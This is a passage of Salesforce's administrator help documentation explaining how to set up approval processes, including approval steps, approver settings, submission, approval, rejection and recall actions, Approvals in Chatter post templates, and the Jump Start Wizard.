To view the details of an approval process, go to Your Name > Setup > Create > Workflow & Approvals > Approval Processes and click a process name. In the header of the approval process detail page you can: Edit, clone, or delete the process. Activate or deactivate the process. Click View Diagram to see a graphical representation of the process in the Process Visualizer. View the process name, unique name, description, entry criteria, record editability, and initial submitters. See which email template is assigned to the process. If Approvals in Chatter is enabled in your organization, see which approval request Chatter post template is assigned to the process. If the Approval Post Template field is blank, then the process is using either the system default post template or the object's custom default post template. See if the process is active. See what determines the next automated approver. See if submitters are allowed to recall approval requests.

1934

Create

Managing Approval Processes

From the related lists on this page you can: Add an existing action. Create a new action and apply it to the process. Edit or remove actions. Add a new approval step. Edit or delete steps.

See Also:
Managing Approval Processes

Managing Approval Steps


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit or delete approval steps: To view approval steps: Customize Application View Setup and Configuration

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. To manage the steps for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and then select the approval process. The Approval Steps related list shows all the steps and actions for the approval process. If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related lists. Use these related lists to: Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1946. Click Add New and select the appropriate type to create a new action and associate it with the approval process. See Creating Approval Actions on page 1947. Click Hide Actions to collapse the list of approval steps. Click Edit to change the step. For information on approval step attributes, see Creating Approval Steps on page 1936. Click Del to remove a step. This option is not available when the approval process is active.

1935

Create

Managing Approval Processes

Click New Approval Step to create an additional step. This option is not available when the approval process is active. See Creating Approval Steps on page 1936.

See Also:
Approval Process Terminology Getting Started with Approval Processes Process Visualizer Overview Examples of Approval Processes Creating Approval Steps Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval steps: Customize Application

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. The actions you associate with an approval step can be reused in workflow rules. To create approval steps: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the name of the approval process. 2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active and you cannot add more steps. There is a limit of 15 steps per process. 3. Enter a name, a unique name, and description for this step. Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The unique name will be used to refer to this specific approval process step in the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within a specific approval process. You can have two approval process steps with the same unique name, provided they are defined for different approval processes. 4. Enter a step number that determines the order of this step in relation to the other steps in this approval process. 5. Click Next. 6. If only records with certain attributes should enter this step, select Enter this step if the following... and choose one of the following options: Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current

1936

Create

Managing Approval Processes

User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 3136.

Select formula evaluates to true and enter a formula that returns a value of True or False. Records enter this step only if the formula returnsTrue. For example, use the following formula to require a record to enter this approval step when the record's discount percentage is greater than the most recent approver's discount threshold:
(Discount_Percentage__c > $User.Discount_Threshold__c)

For information on using formulas, see Building Formulas on page 1168. Some functions are not available in approval step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions on page 1230. 7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or if the formula does not return True. Note: You cant change your selection after the approval process has been activated, even if you deactivate the approval process. The options are:
approve record

Automatically approves the request and performs all final approval actions.
reject record

Automatically rejects the request and performs all final rejection actions. This option is only available for the first step in the approval process.
go to next step

Automatically skips this step and goes to the next step. Important: The go to next step option is only available when editing a step that already has an ensuing step. To select go to next step, create an ensuing step, then select this option in the preceding step. The go to next step option is unavailable for the final step in the approval process. If you select go to next step in a step and delete all the ensuing steps, Salesforce automatically removes the go to next step definition from that step and ends the process if the step criteria are not met. However, if you select go to next step in your first step and delete all the ensuing steps, Salesforce changes the first step to automatically reject record if the step criteria are not met. If you select go to next step in the first step and the record does not meet the criteria for any of the steps in the approval process, the record is rejected.

8. Click Next. 9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver.

1937

Create

Managing Approval Processes

Automatically assign using the user field selected earlier.

Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field was selected during the configuration of the approval process. See Creating Approval Processes on page 1929.
Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information on queues, see Managing Queues on page 603. For more information on approval requests assigned to queues, see Approval Process Considerations on page 1926.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.


Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field. Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step. Note: When specifying approvers, note the following: Make sure the assigned approvers have permission to read the records for the approval request. For example, a user who does not have read access to an Expense custom object can't view expense approval requests. You can't assign approval requests to partner users. To use email approval response: The assigned approver cant be a queue. Approvers must have the API Enabled system permission to approve or reject approval requests via email. You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes such redundancies and only requests a single approval from the user. After a record enters an approval step, the designated approvers for that step don't change even if the approval process returns to that step and the values of related user fields that designate the approvers have changed. For example, consider an approval process in which the first step requests approval from a user's manager. If the approval request is rejected in the second step and sent back to the first step, the user's original manager receives the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following: Approve or reject based on the first response. The first response to the approval request determines whether the record is approved or rejected. Require unanimous approval from all selected approvers. The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the approvers reject the request. 11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. 12. If this is not the first step in the approval process, specify what will happen if the approver rejects a request in this step:

1938

Create

Managing Approval Processes

Perform all rejection actions...

Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce performs all rejection actions specified for this step and all final rejection actions.
Perform ONLY the rejection actions for this step...

Automatically rejects the request and returns the approval request to the previous approver. Salesforce performs all rejection actions specified for this step. Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection Actions for the approval process. 13. Click Save. 14. Specify any workflow actions you want to occur during this step: Yes, I'd like to create a new approval action... Select the type of action and click Go! to begin creating an action and associate it with this approval step. Yes, I'd like to create a new rejection action... Select the type of action and click Go! to begin creating an action and associate it with this approval step. No, I'll do this later... Select this option and click Go! to view the details of the approval process. Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 1946 and Creating Approval Actions on page 1947. 15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view the Approval Actions and Rejection Actions related lists.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview Examples of Approval Processes

1939

Create

Managing Approval Processes

Changing Your Approval User Preferences Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view approval processes: To approve, reject, or reassign approval requests: View Setup and Configuration Permissions vary depending on the approval process settings

The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails, including opting not to receive them at all. To set up or edit your Approver Settings, click Your Name > Setup > My Personal Information > Personal Information. Click Edit on the User detail page. In the Approver Settings section, you can: Optionally, select your Delegated Approver. Note: You can't assign a group or queue as a delegated approver.

Optionally, enter your Manager. Set your preference for receiving approval request emails. The options are:
If I am an approver or delegated approver Only if I am an approver Only if I am a delegated approver NeverIf you select this option, you won't receive any approval request emails, even if your organization has email approval response enabled. However, if the assignee of an approval step is a queue, selecting Never may not block all

approval request emails, depending the queue settings. When an approval request email is sent to the assigned approver, the delegated approver also receives an email notification that there is an approval request to review. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. Note: When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval request email notification. For more information about approval requests and queues, see Approval Process Considerations on page 1926.

See Also:
Managing Approval Steps Creating Approval Steps Approval Process Terminology Creating Queues

1940

Create

Managing Approval Processes

Initial Submission Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit initial submission actions: Customize Application

Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval status field to In Progress. When a user submits a record for approval, Salesforce sends an approval request email to the approver as defined in the approval step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional actions to occur when a record is initially submitted for approval, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage the initial submission actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process. The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1946. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message.

1941

Create

Managing Approval Processes

Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Final Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit final approval actions: Customize Application

Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status to Approved and send an email notification. When a record has been approved by all approvers, Salesforce executes all final approval actions. A default final approval action called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up to 40 additional actions to occur when a record is finally approved, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage the final approval actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the approval process. The Final Approval Actions related list shows all the actions that take place when a record is finally approved. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions.

1942

Create

Managing Approval Processes

Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1946. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Final Rejection Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit final rejection actions: Customize Application

Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting. When a record has been rejected by all approvers, Salesforce executes all final rejection actions. A default final rejection action called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up to 40 additional actions to occur when a record is rejected, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

1943

Create

Managing Approval Processes

To manage the final rejection actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process. The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1946. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Recall Actions
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit recall actions: Customize Application

Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For example, a recall action can change the status of a request from In Progress to Not Submitted. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. When a record has been recalled after submission, Salesforce executes all recall actions, including unlocking the record. You can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:

1944

Create

Managing Approval Processes

Type Task Email Alert Field Update Outbound Message

Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage recall actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the approval process. The Recall Actions related list shows all the actions that take place when a record is recalled. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1946. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

1945

Create

Managing Approval Processes

Selecting Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To select approval actions: Customize Application

There are four types of approval actions: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can also reuse these actions for workflow rules. Before you begin, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process you want associated with the actions. To select an approval action: 1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button does not appear on an approval step, click Show Actions. Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on creating actions, see Creating Approval Actions on page 1947. 2. Choose the type of action. 3. Select the action in the list of available actions and click Add to add the action to the list of selected actions. 4. Click Save.

See Also:
Workflow and Approvals Overview Managing Approval Processes Approval Processes Overview Approval Process Terminology Process Visualizer Overview

1946

Create

Managing Approval Processes

Creating Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval actions: Customize Application

Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example, you may have an expense approval process in Salesforce that you want to send an outbound message to your Oracle accounting service to print expense checks when expense approval requests are approved. To create an approval action: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Select the approval process you want associated with the action. 3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they are hidden. 4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached the limit for any type of action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task. Note: The actions you create for approval processes can be reused in workflow rules.

See Also:
Workflow and Approvals Overview Managing Approval Processes Approval Processes Overview Approval Process Terminology Process Visualizer Overview

1947

Create

Managing Approval Processes

About Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. You can also customize the way the approval request post displays in Chatter by creating unique post templates and associating them with your approval processes. Tip: To get the most out of Approvals in Chatter, we recommend taking some time to prep your organization before turning it on. See Getting Started With Approvals in Chatter for implementation best-practices.

Where Can I Find Approval Request Posts? Approval request posts show up: In the assigned approver's Chatter feed. On the submitter's profile, but not in their Chatter feed unless they're following the approval record. In the Chatter feed of the approval record. In the Chatter feed of anyone following the approval record. In the object-specific filter on the Chatter tab of anyone following the approval record. In the Company filter of every user with access to the approval record. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval posts in the record feed. Tip: To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter.

See Also:
Enabling Approvals in Chatter Approvals in Chatter Considerations Managing Approval Request Post Templates for Chatter Creating and Editing Approval Request Post Templates for Chatter Turning On Chatter

1948

Create

Managing Approval Processes

Getting Started With Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Approvals in Chatter: Customize Application

Because it relies on both Chatter and Approvals, getting your organization set up for Approvals in Chatter involves more than just turning on the feature. To be sure that everything works correctly and that your users will see their approval requests as Chatter posts, we recommend that you follow these steps when you're ready to turn Approvals in Chatter on for your organization: 1. Create an approval process. 2. Make sure feed tracking is enabled for the object on which your approval process is based. 3. Create an approval post template for the object on which your approval process is based. If you want to make this the default template for all approval processes on this object, be sure to check the Default checkbox when configuring your post template. 4. Repeat steps 1 3 for all approval processes in your organization, as needed. 5. Enable Approvals in Chatter. Waiting to do this as the last step ensures that all approval processes in your organization are properly configured to take advantage of it. After turning it on, all existing active approval processes will start generating Chatter posts. Note: You can create custom post templates for one or more approval processes, but you can only associate custom post templates with approval processes after enabling Approvals in Chatter.

See Also:
About Approvals in Chatter Approvals in Chatter Considerations Viewing Approval Request Post Templates Turning On Chatter

1949

Create

Managing Approval Processes

Enabling Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Approvals in Chatter: Customize Application

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. 1. 2. 3. 4. Click Your Name > Setup. Under App Setup, click Customize > Chatter > Settings. Click Edit. Select Allow Approvals.

Users can enable or disable approval request posts for themselves. Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval posts in the record feed. Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed.

See Also:
About Approvals in Chatter Approvals in Chatter Considerations Getting Started With Approvals in Chatter Creating and Editing Approval Request Post Templates for Chatter Turning On Chatter

Approvals in Chatter Considerations


Available in: Enterprise, Unlimited, and Developer Editions

Keep these issues in mind when working with Approvals in Chatter: After Approvals in Chatter is enabled in your organization, it is turned on for all users. Users can then opt out for themselves in their Chatter feed settings. Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed. To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter. Different users see different configurations of the approval request post: Only approvers see approval action buttons on their posts, and then only in their profile feed or their news feed. Only approvers see approver names in the header.

1950

Create

Managing Approval Processes

If a step requires unanimous approval from multiple approvers, the approval request post for that step doesn't list all selected approvers in its header. Approvers see only their own name in the post header. When an approval request is recalled, a new post is generated. It appears on the news feeds of the submitter, all approvers and followers of the object, as well as on the record feed. If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval page layouts or approval post templates. If you change the approver, step name, or the routing type on an approval process while it's in progress, existing approval posts aren't updated. If you are an assigned approver and you opt out of receiving approval requests as posts while an approval is in progress, and you're not following the approval record, you won't see any new notification posts after opting out. However, if you are following the approval record, after opting out you will see approval posts from the record with non-approver content. Any approval notification posts you received prior to opting out are updated to show non-approver content, and the approve/reject buttons disappear from any existing posts in your feed. Approvals in Chatter works normally for approvals on Products, with one exception: If the product isn't active and the approver also doesn't have edit access to Products, approval post notifications for that product won't show up in the approver's feeds. The approver can only see approval posts in the product records feed.

Limitations Approvals in Chatter doesn't support delegated approvers or queues. You can't recall or reassign an approval request from a post. Both must be done from the approval record. Approval posts can't be deleted in the Salesforce user interface; you can only delete them through the API. Approval requests from Sites or portal users aren't supported.

See Also:
About Approvals in Chatter Getting Started With Approvals in Chatter Enabling Approvals in Chatter

Managing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. With approval post templates for Chatter, you can customize the information that is included in the approval request post when it displays in a Chatter feed. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. To manage your custom approval post templates, click Your Name > Setup > Create > Workflow & Approvals > Post Templates. From the template list page, you can: Create a new post template.

1951

Create

Managing Approval Processes

Click a template's name to go to its detail page. Edit or delete a post template. Note: You can't delete a post template if it's in use by an approval process.

Keep these issues in mind when working with approval post templates: You can set a post template as the default template for an object by clicking Edit from the templates detail page. You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned on. Deleting a custom field from a standard object removes the custom field from any post template that refers to that object. Existing posts using the template aren't affected. Undeleting the custom field restores it to the available fields list and to any post templates that contained it previously. Deleting a custom field from a custom object removes the custom field from any post template that refers to that object. Undeleting the custom field in this case restores it to the available fields list, but does not restore it to the post templates that contained it previously. Hard deleting a custom object removes all post templates related to it. Soft deleting a custom object makes related post templates invisible on the template list page. Existing posts using affected templates aren't changed. Undeleting the custom object restores the post templates associated with it. If you rename a custom object, post templates associated with it update accordingly.

See Also:
About Approvals in Chatter Getting Started With Approvals in Chatter Creating Approval Processes Managing Deleted Custom Fields

Creating and Editing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and view approval request post templates: Customize Application

With approval post templates for Chatter, you can customize what information gets included in the approval request post when it displays in a Chatter feed. 1. 2. 3. 4. Click Your Name > Setup > Create > Workflow & Approvals > Post Templates. Click New Template. Select the object for your template. Click Next.

1952

Create

Managing Approval Processes

5. Enter a template name. 6. Optionally, change the template's unique name. 7. Enter a description. 8. Select the checkbox to make this the default template for the associated object. 9. Select up to four fields to display on the approval request post and click Add. 10. Sort the fields by selecting them and clicking Up or Down. 11. Click Save. Note: You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned on. You can edit an approval post template in two ways. First go to Your Name > Setup > Create > Workflow & Approvals > Post Templates. Click Edit in the Action column. Click a template name, then click the Edit button from the template detail page.

See Also:
Managing Approval Request Post Templates for Chatter Viewing Approval Request Post Templates About Approvals in Chatter Getting Started With Approvals in Chatter

Viewing Approval Request Post Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and view approval request post templates: Customize Application

To view approval post request template details, go to Your Name > Setup > Create > Workflow & Approvals > Post Templates, then click the name of a template. From this page, you can: View template details, such as its object, name, description, and any object fields included. See whether this template is set as the default for the associated object. Click Edit to set the template as the object's custom default template. Edit, delete, or clone the template. Note: You can't delete a post template if it's in use by an approval process.

1953

Create

Managing Approval Processes

Using the Approval Process Jump Start Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However, to make your process as functional and complete as possible, there are a few things you should do first: 1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field on the user object. 2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has enabled email approval response, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 474. For information on email approval response, see Customizing Workflow and Approval Settings on page 1879. 3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved or rejected. 4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information, see Workflow and Approvals Overview on page 1866. Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on page 1957. To use the jump start wizard to create an approval process: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. Choose the object for the new approval process. Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button. Enter a name for the new approval process. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected object type. You can have actions of the same type with the same unique name, provided they are defined for different objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave this field blank to use the default email template. Each approval process uses a single email template for all steps. For more information on creating email templates, see Managing Email Templates on page 474. Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response. If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you

1954

Create

Managing Approval Processes

use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. 7. Select Add Approval History Related List... to update all the page layouts for this object to include a related list that allows users to submit approval requests and track them. 8. If only certain types of records should enter this approval process, do one of the following: Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For example, if only employees from headquarters should use this approval process to submit expense reports, enter the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 3136. a. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all records submitted to be included in the approval process. . Note: Select a current user field if you want to filter based on the user submitting an approval request.

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select formula evaluates to true if you want a formula to determine what records enter the approval process. a. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For example, use the following formula to require a record to enter this approval process when the record's discount approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. For information on using formulas, see Building Formulas on page 1168. Some functions are not available in approval process formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on page 1230. 9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver. Automatically assign an approver using a standard or custom hierarchy field. Assigns the approval request to the user in the field displayed in this option. For example, you may want approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account Manager user field. To create a new custom field, click Create New Field from this option. For information on creating a custom field, see Creating Custom Fields on page 1092.

1955

Create

Managing Approval Processes

Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information on queues, see Managing Queues on page 603. For more information on approval requests assigned to queues, see Approval Process Considerations on page 1926.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.


Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field. Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step. Note: When specifying approvers, note the following: Make sure the assigned approvers have permission to read the records for the approval request. For example, a user who does not have read access to an Expense custom object can't view expense approval requests. You can't assign approval requests to partner users. To use email approval response: The assigned approver cant be a queue. Approvers must have the API Enabled system permission to approve or reject approval requests via email. You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes such redundancies and only requests a single approval from the user. After a record enters an approval step, the designated approvers for that step don't change even if the approval process returns to that step and the values of related user fields that designate the approvers have changed. For example, consider an approval process in which the first step requests approval from a user's manager. If the approval request is rejected in the second step and sent back to the first step, the user's original manager receives the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following: Approve or reject based on the first response. The first response to the approval request determines whether the record is approved or rejected. Require unanimous approval from all selected approvers. The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the approvers reject the request. 11. Click Save to return to the Approval Process Detail page. 12. Select approval actions. For more information, see Selecting Approval Actions on page 1946. 13. When you are ready to use the approval process, activate it: a. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.

1956

Create

Managing Approval Processes

b. Click Activate next to an inactive process to activate it.

See Also:
Choosing an Approval Process Wizard Creating Approval Processes Examples of Approval Processes Process Visualizer Overview

Approval Process Jump Start Default Selections


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

